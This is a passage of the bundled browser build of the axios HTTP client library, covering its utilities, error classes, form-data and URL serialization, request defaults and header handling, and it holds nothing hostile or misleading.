}\n\n return source;\n };\n\n return visit(obj, 0);\n};\n\nconst isAsyncFn = kindOfTest('AsyncFunction');\n\nconst isThenable = (thing) =>\n thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);\n\n// original code\n// https://github.com/DigitalBrainJS/AxiosPromise/blob/16deab13710ec09779922131f3fa5954320f83ab/lib/utils.js#L11-L34\n\nconst _setImmediate = ((setImmediateSupported, postMessageSupported) => {\n if (setImmediateSupported) {\n return setImmediate;\n }\n\n return postMessageSupported ? ((token, callbacks) => {\n _global.addEventListener(\"message\", ({source, data}) => {\n if (source === _global && data === token) {\n callbacks.length && callbacks.shift()();\n }\n }, false);\n\n return (cb) => {\n callbacks.push(cb);\n _global.postMessage(token, \"*\");\n }\n })(`axios@${Math.random()}`, []) : (cb) => setTimeout(cb);\n})(\n typeof setImmediate === 'function',\n isFunction(_global.postMessage)\n);\n\nconst asap = typeof queueMicrotask !== 'undefined' ?\n queueMicrotask.bind(_global) : ( typeof process !== 'undefined' && process.nextTick || _setImmediate);\n\n// *********************\n\n\nconst isIterable = (thing) => thing != null && isFunction(thing[iterator]);\n\n\nvar utils$1 = {\n isArray,\n isArrayBuffer,\n isBuffer,\n isFormData,\n isArrayBufferView,\n isString,\n isNumber,\n isBoolean,\n isObject,\n isPlainObject,\n isReadableStream,\n isRequest,\n isResponse,\n isHeaders,\n isUndefined,\n isDate,\n isFile,\n isBlob,\n isRegExp,\n isFunction,\n isStream,\n isURLSearchParams,\n isTypedArray,\n isFileList,\n forEach,\n merge,\n extend,\n trim,\n stripBOM,\n inherits,\n toFlatObject,\n kindOf,\n kindOfTest,\n endsWith,\n toArray,\n forEachEntry,\n matchAll,\n isHTMLForm,\n hasOwnProperty,\n hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection\n reduceDescriptors,\n freezeMethods,\n toObjectSet,\n toCamelCase,\n noop,\n toFiniteNumber,\n findKey,\n global: _global,\n isContextDefined,\n isSpecCompliantForm,\n toJSONObject,\n isAsyncFn,\n isThenable,\n setImmediate: _setImmediate,\n asap,\n isIterable\n};\n\n/**\n * Create an Error with the specified message, config, error code, request and response.\n *\n * @param {string} message The error message.\n * @param {string} [code] The error code (for example, 'ECONNABORTED').\n * @param {Object} [config] The config.\n * @param {Object} [request] The request.\n * @param {Object} [response] The response.\n *\n * @returns {Error} The created error.\n */\nfunction AxiosError(message, code, config, request, response) {\n Error.call(this);\n\n if (Error.captureStackTrace) {\n Error.captureStackTrace(this, this.constructor);\n } else {\n this.stack = (new Error()).stack;\n }\n\n this.message = message;\n this.name = 'AxiosError';\n code && (this.code = code);\n config && (this.config = config);\n request && (this.request = request);\n if (response) {\n this.response = response;\n this.status = response.status ? response.status : null;\n }\n}\n\nutils$1.inherits(AxiosError, Error, {\n toJSON: function toJSON() {\n return {\n // Standard\n message: this.message,\n name: this.name,\n // Microsoft\n description: this.description,\n number: this.number,\n // Mozilla\n fileName: this.fileName,\n lineNumber: this.lineNumber,\n columnNumber: this.columnNumber,\n stack: this.stack,\n // Axios\n config: utils$1.toJSONObject(this.config),\n code: this.code,\n status: this.status\n };\n }\n});\n\nconst prototype$1 = AxiosError.prototype;\nconst descriptors = {};\n\n[\n 'ERR_BAD_OPTION_VALUE',\n 'ERR_BAD_OPTION',\n 'ECONNABORTED',\n 'ETIMEDOUT',\n 'ERR_NETWORK',\n 'ERR_FR_TOO_MANY_REDIRECTS',\n 'ERR_DEPRECATED',\n 'ERR_BAD_RESPONSE',\n 'ERR_BAD_REQUEST',\n 'ERR_CANCELED',\n 'ERR_NOT_SUPPORT',\n 'ERR_INVALID_URL'\n// eslint-disable-next-line func-names\n].forEach(code => {\n descriptors[code] = {value: code};\n});\n\nObject.defineProperties(AxiosError, descriptors);\nObject.defineProperty(prototype$1, 'isAxiosError', {value: true});\n\n// eslint-disable-next-line func-names\nAxiosError.from = (error, code, config, request, response, customProps) => {\n const axiosError = Object.create(prototype$1);\n\n utils$1.toFlatObject(error, axiosError, function filter(obj) {\n return obj !== Error.prototype;\n }, prop => {\n return prop !== 'isAxiosError';\n });\n\n AxiosError.call(axiosError, error.message, code, config, request, response);\n\n axiosError.cause = error;\n\n axiosError.name = error.name;\n\n customProps && Object.assign(axiosError, customProps);\n\n return axiosError;\n};\n\n// eslint-disable-next-line strict\nvar httpAdapter = null;\n\n/**\n * Determines if the given thing is a array or js object.\n *\n * @param {string} thing - The object or array to be visited.\n *\n * @returns {boolean}\n */\nfunction isVisitable(thing) {\n return utils$1.isPlainObject(thing) || utils$1.isArray(thing);\n}\n\n/**\n * It removes the brackets from the end of a string\n *\n * @param {string} key - The key of the parameter.\n *\n * @returns {string} the key without the brackets.\n */\nfunction removeBrackets(key) {\n return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key;\n}\n\n/**\n * It takes a path, a key, and a boolean, and returns a string\n *\n * @param {string} path - The path to the current key.\n * @param {string} key - The key of the current object being iterated over.\n * @param {string} dots - If true, the key will be rendered with dots instead of brackets.\n *\n * @returns {string} The path to the current key.\n */\nfunction renderKey(path, key, dots) {\n if (!path) return key;\n return path.concat(key).map(function each(token, i) {\n // eslint-disable-next-line no-param-reassign\n token = removeBrackets(token);\n return !dots && i ? '[' + token + ']' : token;\n }).join(dots ? '.' : '');\n}\n\n/**\n * If the array is an array and none of its elements are visitable, then it's a flat array.\n *\n * @param {Array<any>} arr - The array to check\n *\n * @returns {boolean}\n */\nfunction isFlatArray(arr) {\n return utils$1.isArray(arr) && !arr.some(isVisitable);\n}\n\nconst predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) {\n return /^is[A-Z]/.test(prop);\n});\n\n/**\n * Convert a data object to FormData\n *\n * @param {Object} obj\n * @param {?Object} [formData]\n * @param {?Object} [options]\n * @param {Function} [options.visitor]\n * @param {Boolean} [options.metaTokens = true]\n * @param {Boolean} [options.dots = false]\n * @param {?Boolean} [options.indexes = false]\n *\n * @returns {Object}\n **/\n\n/**\n * It converts an object into a FormData object\n *\n * @param {Object<any, any>} obj - The object to convert to form data.\n * @param {string} formData - The FormData object to append to.\n * @param {Object<string, any>} options\n *\n * @returns\n */\nfunction toFormData(obj, formData, options) {\n if (!utils$1.isObject(obj)) {\n throw new TypeError('target must be an object');\n }\n\n // eslint-disable-next-line no-param-reassign\n formData = formData || new (FormData)();\n\n // eslint-disable-next-line no-param-reassign\n options = utils$1.toFlatObject(options, {\n metaTokens: true,\n dots: false,\n indexes: false\n }, false, function defined(option, source) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n return !utils$1.isUndefined(source[option]);\n });\n\n const metaTokens = options.metaTokens;\n // eslint-disable-next-line no-use-before-define\n const visitor = options.visitor || defaultVisitor;\n const dots = options.dots;\n const indexes = options.indexes;\n const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;\n const useBlob = _Blob && utils$1.isSpecCompliantForm(formData);\n\n if (!utils$1.isFunction(visitor)) {\n throw new TypeError('visitor must be a function');\n }\n\n function convertValue(value) {\n if (value === null) return '';\n\n if (utils$1.isDate(value)) {\n return value.toISOString();\n }\n\n if (utils$1.isBoolean(value)) {\n return value.toString();\n }\n\n if (!useBlob && utils$1.isBlob(value)) {\n throw new AxiosError('Blob is not supported. Use a Buffer instead.');\n }\n\n if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) {\n return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);\n }\n\n return value;\n }\n\n /**\n * Default visitor.\n *\n * @param {*} value\n * @param {String|Number} key\n * @param {Array<String|Number>} path\n * @this {FormData}\n *\n * @returns {boolean} return true to visit the each prop of the value recursively\n */\n function defaultVisitor(value, key, path) {\n let arr = value;\n\n if (value && !path && typeof value === 'object') {\n if (utils$1.endsWith(key, '{}')) {\n // eslint-disable-next-line no-param-reassign\n key = metaTokens ? key : key.slice(0, -2);\n // eslint-disable-next-line no-param-reassign\n value = JSON.stringify(value);\n } else if (\n (utils$1.isArray(value) && isFlatArray(value)) ||\n ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value))\n )) {\n // eslint-disable-next-line no-param-reassign\n key = removeBrackets(key);\n\n arr.forEach(function each(el, index) {\n !(utils$1.isUndefined(el) || el === null) && formData.append(\n // eslint-disable-next-line no-nested-ternary\n indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),\n convertValue(el)\n );\n });\n return false;\n }\n }\n\n if (isVisitable(value)) {\n return true;\n }\n\n formData.append(renderKey(path, key, dots), convertValue(value));\n\n return false;\n }\n\n const stack = [];\n\n const exposedHelpers = Object.assign(predicates, {\n defaultVisitor,\n convertValue,\n isVisitable\n });\n\n function build(value, path) {\n if (utils$1.isUndefined(value)) return;\n\n if (stack.indexOf(value) !== -1) {\n throw Error('Circular reference detected in ' + path.join('.'));\n }\n\n stack.push(value);\n\n utils$1.forEach(value, function each(el, key) {\n const result = !(utils$1.isUndefined(el) || el === null) && visitor.call(\n formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers\n );\n\n if (result === true) {\n build(el, path ? path.concat(key) : [key]);\n }\n });\n\n stack.pop();\n }\n\n if (!utils$1.isObject(obj)) {\n throw new TypeError('data must be an object');\n }\n\n build(obj);\n\n return formData;\n}\n\n/**\n * It encodes a string by replacing all characters that are not in the unreserved set with\n * their percent-encoded equivalents\n *\n * @param {string} str - The string to encode.\n *\n * @returns {string} The encoded string.\n */\nfunction encode$1(str) {\n const charMap = {\n '!': '%21',\n \"'\": '%27',\n '(': '%28',\n ')': '%29',\n '~': '%7E',\n '%20': '+',\n '%00': '\\x00'\n };\n return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {\n return charMap[match];\n });\n}\n\n/**\n * It takes a params object and converts it to a FormData object\n *\n * @param {Object<string, any>} params - The parameters to be converted to a FormData object.\n * @param {Object<string, any>} options - The options object passed to the Axios constructor.\n *\n * @returns {void}\n */\nfunction AxiosURLSearchParams(params, options) {\n this._pairs = [];\n\n params && toFormData(params, this, options);\n}\n\nconst prototype = AxiosURLSearchParams.prototype;\n\nprototype.append = function append(name, value) {\n this._pairs.push([name, value]);\n};\n\nprototype.toString = function toString(encoder) {\n const _encode = encoder ? function(value) {\n return encoder.call(this, value, encode$1);\n } : encode$1;\n\n return this._pairs.map(function each(pair) {\n return _encode(pair[0]) + '=' + _encode(pair[1]);\n }, '').join('&');\n};\n\n/**\n * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their\n * URI encoded counterparts\n *\n * @param {string} val The value to be encoded.\n *\n * @returns {string} The encoded value.\n */\nfunction encode(val) {\n return encodeURIComponent(val).\n replace(/%3A/gi, ':').\n replace(/%24/g, '$').\n replace(/%2C/gi, ',').\n replace(/%20/g, '+').\n replace(/%5B/gi, '[').\n replace(/%5D/gi, ']');\n}\n\n/**\n * Build a URL by appending params to the end\n *\n * @param {string} url The base of the url (e.g., http://www.google.com)\n * @param {object} [params] The params to be appended\n * @param {?(object|Function)} options\n *\n * @returns {string} The formatted url\n */\nfunction buildURL(url, params, options) {\n /*eslint no-param-reassign:0*/\n if (!params) {\n return url;\n }\n \n const _encode = options && options.encode || encode;\n\n if (utils$1.isFunction(options)) {\n options = {\n serialize: options\n };\n } \n\n const serializeFn = options && options.serialize;\n\n let serializedParams;\n\n if (serializeFn) {\n serializedParams = serializeFn(params, options);\n } else {\n serializedParams = utils$1.isURLSearchParams(params) ?\n params.toString() :\n new AxiosURLSearchParams(params, options).toString(_encode);\n }\n\n if (serializedParams) {\n const hashmarkIndex = url.indexOf(\"#\");\n\n if (hashmarkIndex !== -1) {\n url = url.slice(0, hashmarkIndex);\n }\n url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;\n }\n\n return url;\n}\n\nclass InterceptorManager {\n constructor() {\n this.handlers = [];\n }\n\n /**\n * Add a new interceptor to the stack\n *\n * @param {Function} fulfilled The function to handle `then` for a `Promise`\n * @param {Function} rejected The function to handle `reject` for a `Promise`\n *\n * @return {Number} An ID used to remove interceptor later\n */\n use(fulfilled, rejected, options) {\n this.handlers.push({\n fulfilled,\n rejected,\n synchronous: options ? options.synchronous : false,\n runWhen: options ? options.runWhen : null\n });\n return this.handlers.length - 1;\n }\n\n /**\n * Remove an interceptor from the stack\n *\n * @param {Number} id The ID that was returned by `use`\n *\n * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise\n */\n eject(id) {\n if (this.handlers[id]) {\n this.handlers[id] = null;\n }\n }\n\n /**\n * Clear all interceptors from the stack\n *\n * @returns {void}\n */\n clear() {\n if (this.handlers) {\n this.handlers = [];\n }\n }\n\n /**\n * Iterate over all the registered interceptors\n *\n * This method is particularly useful for skipping over any\n * interceptors that may have become `null` calling `eject`.\n *\n * @param {Function} fn The function to call for each interceptor\n *\n * @returns {void}\n */\n forEach(fn) {\n utils$1.forEach(this.handlers, function forEachHandler(h) {\n if (h !== null) {\n fn(h);\n }\n });\n }\n}\n\nvar InterceptorManager$1 = InterceptorManager;\n\nvar transitionalDefaults = {\n silentJSONParsing: true,\n forcedJSONParsing: true,\n clarifyTimeoutError: false\n};\n\nvar URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;\n\nvar FormData$1 = typeof FormData !== 'undefined' ? FormData : null;\n\nvar Blob$1 = typeof Blob !== 'undefined' ? Blob : null;\n\nvar platform$1 = {\n isBrowser: true,\n classes: {\n URLSearchParams: URLSearchParams$1,\n FormData: FormData$1,\n Blob: Blob$1\n },\n protocols: ['http', 'https', 'file', 'blob', 'url', 'data']\n};\n\nconst hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';\n\nconst _navigator = typeof navigator === 'object' && navigator || undefined;\n\n/**\n * Determine if we're running in a standard browser environment\n *\n * This allows axios to run in a web worker, and react-native.\n * Both environments support XMLHttpRequest, but not fully standard globals.\n *\n * web workers:\n * typeof window -> undefined\n * typeof document -> undefined\n *\n * react-native:\n * navigator.product -> 'ReactNative'\n * nativescript\n * navigator.product -> 'NativeScript' or 'NS'\n *\n * @returns {boolean}\n */\nconst hasStandardBrowserEnv = hasBrowserEnv &&\n (!_navigator || ['ReactNative', 'NativeScript', 'NS'].indexOf(_navigator.product) < 0);\n\n/**\n * Determine if we're running in a standard browser webWorker environment\n *\n * Although the `isStandardBrowserEnv` method indicates that\n * `allows axios to run in a web worker`, the WebWorker will still be\n * filtered out due to its judgment standard\n * `typeof window !== 'undefined' && typeof document !== 'undefined'`.\n * This leads to a problem when axios post `FormData` in webWorker\n */\nconst hasStandardBrowserWebWorkerEnv = (() => {\n return (\n typeof WorkerGlobalScope !== 'undefined' &&\n // eslint-disable-next-line no-undef\n self instanceof WorkerGlobalScope &&\n typeof self.importScripts === 'function'\n );\n})();\n\nconst origin = hasBrowserEnv && window.location.href || 'http://localhost';\n\nvar utils = /*#__PURE__*/Object.freeze({\n __proto__: null,\n hasBrowserEnv: hasBrowserEnv,\n hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv,\n hasStandardBrowserEnv: hasStandardBrowserEnv,\n navigator: _navigator,\n origin: origin\n});\n\nvar platform = {\n ...utils,\n ...platform$1\n};\n\nfunction toURLEncodedForm(data, options) {\n return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({\n visitor: function(value, key, path, helpers) {\n if (platform.isNode && utils$1.isBuffer(value)) {\n this.append(key, value.toString('base64'));\n return false;\n }\n\n return helpers.defaultVisitor.apply(this, arguments);\n }\n }, options));\n}\n\n/**\n * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']\n *\n * @param {string} name - The name of the property to get.\n *\n * @returns An array of strings.\n */\nfunction parsePropPath(name) {\n // foo[x][y][z]\n // foo.x.y.z\n // foo-x-y-z\n // foo x y z\n return utils$1.matchAll(/\\w+|\\[(\\w*)]/g, name).map(match => {\n return match[0] === '[]' ? '' : match[1] || match[0];\n });\n}\n\n/**\n * Convert an array to an object.\n *\n * @param {Array<any>} arr - The array to convert to an object.\n *\n * @returns An object with the same keys and values as the array.\n */\nfunction arrayToObject(arr) {\n const obj = {};\n const keys = Object.keys(arr);\n let i;\n const len = keys.length;\n let key;\n for (i = 0; i < len; i++) {\n key = keys[i];\n obj[key] = arr[key];\n }\n return obj;\n}\n\n/**\n * It takes a FormData object and returns a JavaScript object\n *\n * @param {string} formData The FormData object to convert to JSON.\n *\n * @returns {Object<string, any> | null} The converted object.\n */\nfunction formDataToJSON(formData) {\n function buildPath(path, value, target, index) {\n let name = path[index++];\n\n if (name === '__proto__') return true;\n\n const isNumericKey = Number.isFinite(+name);\n const isLast = index >= path.length;\n name = !name && utils$1.isArray(target) ? target.length : name;\n\n if (isLast) {\n if (utils$1.hasOwnProp(target, name)) {\n target[name] = [target[name], value];\n } else {\n target[name] = value;\n }\n\n return !isNumericKey;\n }\n\n if (!target[name] || !utils$1.isObject(target[name])) {\n target[name] = [];\n }\n\n const result = buildPath(path, value, target[name], index);\n\n if (result && utils$1.isArray(target[name])) {\n target[name] = arrayToObject(target[name]);\n }\n\n return !isNumericKey;\n }\n\n if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) {\n const obj = {};\n\n utils$1.forEachEntry(formData, (name, value) => {\n buildPath(parsePropPath(name), value, obj, 0);\n });\n\n return obj;\n }\n\n return null;\n}\n\n/**\n * It takes a string, tries to parse it, and if it fails, it returns the stringified version\n * of the input\n *\n * @param {any} rawValue - The value to be stringified.\n * @param {Function} parser - A function that parses a string into a JavaScript object.\n * @param {Function} encoder - A function that takes a value and returns a string.\n *\n * @returns {string} A stringified version of the rawValue.\n */\nfunction stringifySafely(rawValue, parser, encoder) {\n if (utils$1.isString(rawValue)) {\n try {\n (parser || JSON.parse)(rawValue);\n return utils$1.trim(rawValue);\n } catch (e) {\n if (e.name !== 'SyntaxError') {\n throw e;\n }\n }\n }\n\n return (encoder || JSON.stringify)(rawValue);\n}\n\nconst defaults = {\n\n transitional: transitionalDefaults,\n\n adapter: ['xhr', 'http', 'fetch'],\n\n transformRequest: [function transformRequest(data, headers) {\n const contentType = headers.getContentType() || '';\n const hasJSONContentType = contentType.indexOf('application/json') > -1;\n const isObjectPayload = utils$1.isObject(data);\n\n if (isObjectPayload && utils$1.isHTMLForm(data)) {\n data = new FormData(data);\n }\n\n const isFormData = utils$1.isFormData(data);\n\n if (isFormData) {\n return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;\n }\n\n if (utils$1.isArrayBuffer(data) ||\n utils$1.isBuffer(data) ||\n utils$1.isStream(data) ||\n utils$1.isFile(data) ||\n utils$1.isBlob(data) ||\n utils$1.isReadableStream(data)\n ) {\n return data;\n }\n if (utils$1.isArrayBufferView(data)) {\n return data.buffer;\n }\n if (utils$1.isURLSearchParams(data)) {\n headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);\n return data.toString();\n }\n\n let isFileList;\n\n if (isObjectPayload) {\n if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {\n return toURLEncodedForm(data, this.formSerializer).toString();\n }\n\n if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {\n const _FormData = this.env && this.env.FormData;\n\n return toFormData(\n isFileList ? {'files[]': data} : data,\n _FormData && new _FormData(),\n this.formSerializer\n );\n }\n }\n\n if (isObjectPayload || hasJSONContentType ) {\n headers.setContentType('application/json', false);\n return stringifySafely(data);\n }\n\n return data;\n }],\n\n transformResponse: [function transformResponse(data) {\n const transitional = this.transitional || defaults.transitional;\n const forcedJSONParsing = transitional && transitional.forcedJSONParsing;\n const JSONRequested = this.responseType === 'json';\n\n if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) {\n return data;\n }\n\n if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {\n const silentJSONParsing = transitional && transitional.silentJSONParsing;\n const strictJSONParsing = !silentJSONParsing && JSONRequested;\n\n try {\n return JSON.parse(data);\n } catch (e) {\n if (strictJSONParsing) {\n if (e.name === 'SyntaxError') {\n throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);\n }\n throw e;\n }\n }\n }\n\n return data;\n }],\n\n /**\n * A timeout in milliseconds to abort a request. If set to 0 (default) a\n * timeout is not created.\n */\n timeout: 0,\n\n xsrfCookieName: 'XSRF-TOKEN',\n xsrfHeaderName: 'X-XSRF-TOKEN',\n\n maxContentLength: -1,\n maxBodyLength: -1,\n\n env: {\n FormData: platform.classes.FormData,\n Blob: platform.classes.Blob\n },\n\n validateStatus: function validateStatus(status) {\n return status >= 200 && status < 300;\n },\n\n headers: {\n common: {\n 'Accept': 'application/json, text/plain, */*',\n 'Content-Type': undefined\n }\n }\n};\n\nutils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {\n defaults.headers[method] = {};\n});\n\nvar defaults$1 = defaults;\n\n// RawAxiosHeaders whose duplicates are ignored by node\n// c.f. https://nodejs.org/api/http.html#http_message_headers\nconst ignoreDuplicateOf = utils$1.toObjectSet([\n 'age', 'authorization', 'content-length', 'content-type', 'etag',\n 'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',\n 'last-modified', 'location', 'max-forwards', 'proxy-authorization',\n 'referer', 'retry-after', 'user-agent'\n]);\n\n/**\n * Parse headers into an object\n *\n * ```\n * Date: Wed, 27 Aug 2014 08:58:49 GMT\n * Content-Type: application/json\n * Connection: keep-alive\n * Transfer-Encoding: chunked\n * ```\n *\n * @param {String} rawHeaders Headers needing to be parsed\n *\n * @returns {Object} Headers parsed into an object\n */\nvar parseHeaders = rawHeaders => {\n const parsed = {};\n let key;\n let val;\n let i;\n\n rawHeaders && rawHeaders.split('\\n').forEach(function parser(line) {\n i = line.indexOf(':');\n key = line.substring(0, i).trim().toLowerCase();\n val = line.substring(i + 1).trim();\n\n if (!key || (parsed[key] && ignoreDuplicateOf[key])) {\n return;\n }\n\n if (key === 'set-cookie') {\n if (parsed[key]) {\n parsed[key].push(val);\n } else {\n parsed[key] = [val];\n }\n } else {\n parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;\n }\n });\n\n return parsed;\n};\n\nconst $internals = Symbol('internals');\n\nfunction normalizeHeader(header) {\n return header && String(header).trim().toLowerCase();\n}\n\nfunction normalizeValue(value) {\n if (value === false || value == null) {\n return value;\n }\n\n return utils$1.isArray(value) ? value.map(normalizeValue) : String(value);\n}\n\nfunction parseTokens(str) {\n const tokens = Object.create(null);\n const tokensRE = /([^\\s,;=]+)\\s*(?:=\\s*([^,;]+))?/g;\n let match;\n\n while ((match = tokensRE.exec(str))) {\n tokens[match[1]] = match[2];\n }\n\n return tokens;\n}\n\nconst isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());\n\nfunction matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {\n if (utils$1.isFunction(filter)) {\n return filter.call(this, value, header);\n }\n\n if (isHeaderNameFilter) {\n value = header;\n }\n\n if (!utils$1.isString(value)) return;\n\n if (utils$1.isString(filter)) {\n return value.indexOf(filter) !== -1;\n }\n\n if (utils$1.isRegExp(filter)) {\n return filter.test(value);\n }\n}\n\nfunction formatHeader(header) {\n return header.trim()\n .toLowerCase().replace(/([a-z\\d])(\\w*)/g, (w, char, str) => {\n return char.toUpperCase() + str;\n });\n}\n\nfunction buildAccessors(obj, header) {\n const accessorName = utils$1.toCamelCase(' ' + header);\n\n ['get', 'set', 'has'].forEach(methodName => {\n Object.defineProperty(obj, methodName + accessorName, {\n value: function(arg1, arg2, arg3) {\n return this[methodName].call(this, header, arg1, arg2, arg3);\n },\n configurable: true\n });\n });\n}\n\nclass AxiosHeaders {\n constructor(headers) {\n headers && this.set(headers);\n }\n\n set(header, valueOrRewrite, rewrite) {\n const self = this;\n\n function setHeader(_value, _header, _rewrite) {\n const lHeader = normalizeHeader(_header);\n\n if (!lHeader) {\n throw new Error('header name must be a non-empty string');\n }\n\n const key = utils$1.findKey(self, lHeader);\n\n if(!key || self[key] === undefined || _rewrite === true || (_rewrite === undefined && self[key] !== false)) {\n self[key || _header] = normalizeValue(_value);\n }\n }\n\n const setHeaders = (headers, _rewrite) =>\n utils$1.forEach(headers, (_value, _header) => setHeader(_value, _header, _rewrite));\n\n if (utils$1.isPlainObject(header) || header instanceof this.constructor) {\n setHeaders(header, valueOrRewrite);\n } else if(utils$1.isString(header) && (header = header.trim()) && !isValidHeaderName(header)) {\n setHeaders(parseHeaders(header), valueOrRewrite);\n } else if (utils$1.isObject(header) && utils$1.isIterable(header)) {\n let obj = {}, dest, key;\n for (const entry of header) {\n if (!utils$1.isArray(entry)) {\n throw TypeError('Object iterator must return a key-value pair');\n }\n\n obj[key = entry[0]] = (dest = obj[key]) ?\n (utils$1.isArray(dest) ? [...dest, entry[1]] : [dest, entry[1]]) : entry[1];\n }\n\n setHeaders(obj, valueOrRewrite);\n } else {\n header != null && setHeader(valueOrRewrite, header, rewrite);\n }\n\n return this;\n }\n\n get(header, parser) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils$1.findKey(this, header);\n\n if (key) {\n const value = this[key];\n\n if (!parser) {\n return value;\n }\n\n if (parser === true) {\n return parseTokens(value);\n }\n\n if (utils$1.isFunction(parser)) {\n return parser.call(this, value, key);\n }\n\n if (utils$1.isRegExp(parser)) {\n return parser.exec(value);\n }\n\n throw new TypeError('parser must be boolean|regexp|function');\n }\n }\n }\n\n has(header, matcher) {\n header = normalizeHeader(header);\n\n if (header) {\n const key = utils$1.findKey(this, header);\n\n return !!(key && this[key] !== undefined && (!matcher || matchHeaderValue(this, this[key], key, matcher)));\n }\n\n return false;\n }\n\n delete(header, matcher) {\n const self = this;\n let deleted = false;\n\n function deleteHeader(_header) {\n _header = normalizeHeader(_header);\n\n if (_header) {\n const key = utils$1.findKey(self, _header);\n\n if (key && (!matcher || matchHeaderValue(self, self[key], key, matcher))) {\n delete self[key];\n\n deleted = true;\n }\n }\n }\n\n if (utils$1.isArray(header)) {\n header.forEach(deleteHeader);\n } else {\n deleteHeader(header);\n }\n\n return deleted;\n }\n\n clear(matcher) {\n const keys = Object.keys(this);\n let i = keys.length;\n let deleted = false;\n\n while (i--) {\n const key = keys[i];\n if(!matcher || matchHeaderValue(this, this[key], key, matcher, true)) {\n delete this[key];\n deleted = true;\n }\n }\n\n return deleted;\n }\n\n normalize(format) {\n const self = this;\n const headers = {};\n\n utils$1.forEach(this, (value, header) => {\n const key = utils$1.findKey(headers, header);\n\n if (key) {\n self[key] = normalizeValue(value);\n delete self[header];\n return;\n }\n\n const normalized = format ? formatHeader(header) : String(header).trim();\n\n if (normalized !== header) {\n delete self[header];\n }\n\n self[normalized] = normalizeValue(value);\n\n headers[normalized] = true;\n });\n\n return this;\n }\n\n concat(...targets) {\n return this.constructor.concat(this, ...targets);\n }\n\n toJSON(asStrings) {\n const obj = Object.create(null);\n\n utils$1.forEach(this, (value, header) => {\n value != null && value !== false && (obj[header] = asStrings && utils$1.isArray(value) ? value.join(', ') : value);\n });\n\n return obj;\n }\n\n [Symbol.iterator]() {\n return Object.entries(this.toJSON())[Symbol.iterator]();\n }\n\n toString() {\n return Object.entries(this.toJSON()).map(([header, value]) => header + ': ' + value).join('\\n');\n }\n\n getSetCookie() {\n return this.get(\"set-cookie\") || [];\n }\n\n get [Symbol.toStringTag]() {\n return 'AxiosHeaders';\n }\n\n static from(thing) {\n return thing instanceof this ? thing : new this(thing);\n }\n\n static concat(first, ...targets) {\n const computed = new this(first);\n\n targets.forEach((target) => computed.set(target));\n\n return computed;\n }\n\n static accessor(header) {\n const internals = this[$internals] = (this[$internals] = {\n accessors: {}\n });\n\n const accessors = internals.accessors;\n const prototype = this.prototype;\n\n function defineAccessor(_header) {\n const lHeader = normalizeHeader(_header);\n\n if (!accessors[lHeader]) {\n buildAccessors(prototype, _header);\n accessors[lHeader] = true;\n }\n }\n\n utils$1.isArray(header) ? header.forEach(defineAccessor) : defineAccessor(header);\n\n return this;\n }\n}\n\nAxiosHeaders.accessor(['Content-Type', 'Content-Length', 'Accept', 'Accept-Encoding', 'User-Agent', 'Authorization']);\n\n// reserved names hotfix\nutils$1.reduceDescriptors(AxiosHeaders.prototype, ({value}, key) => {\n let mapped = key[0].toUpperCase() + key.slice(1); // map `set` => `Set`\n return {\n get: () => value,\n set(headerValue) {\n this[mapped] = headerValue;\n }\n }\n});\n\nutils$1.freezeMethods(AxiosHeaders);\n\nvar AxiosHeaders$1 = AxiosHeaders;\n\n/**\n * Transform the data for a request or a response\n *\n * @param {Array|Function} fns A single function or Array of functions\n * @param {?Object} response The response object\n *\n * @returns {*} The resulting transformed data\n */\nfunction transformData(fns, response) {\n const config = this || defaults$1;\n const context = response || config;\n const headers = AxiosHeaders$1.from(context.headers);\n let data = context.data;\n\n utils$1.forEach(fns, function transform(fn) {\n data = fn.call(config, data, headers.normalize(), response ? response.status : undefined);\n });\n\n headers.normalize();\n\n return data;\n}\n\nfunction isCancel(value) {\n return !!(value && value.__CANCEL__);\n}\n\n/**\n * A `CanceledError` is an object that is thrown when an operation is canceled.\n *\n * @param {string=} message The message.\n * @param {Object=} config The config.\n * @param {Object=} request The request.\n *\n * @returns {CanceledError} The created error.\n */\nfunction CanceledError(message, config, request) {\n // eslint-disable-next-line no-eq-null,eqeqeq\n AxiosError.call(this, message == null ? 'canceled' : message, AxiosError.ERR_CANCELED, config, request);\n this.name = 'CanceledError';\n}\n\nutils$1.inherits(CanceledError, AxiosError, {\n __CANCEL__: true\n});\n\n/**\n * Resolve or reject a Promise based on response status.\n *\n * @param {Function} resolve A function that resolves the promise.\n * @param {Function} reject A function that rejects the promise.\n 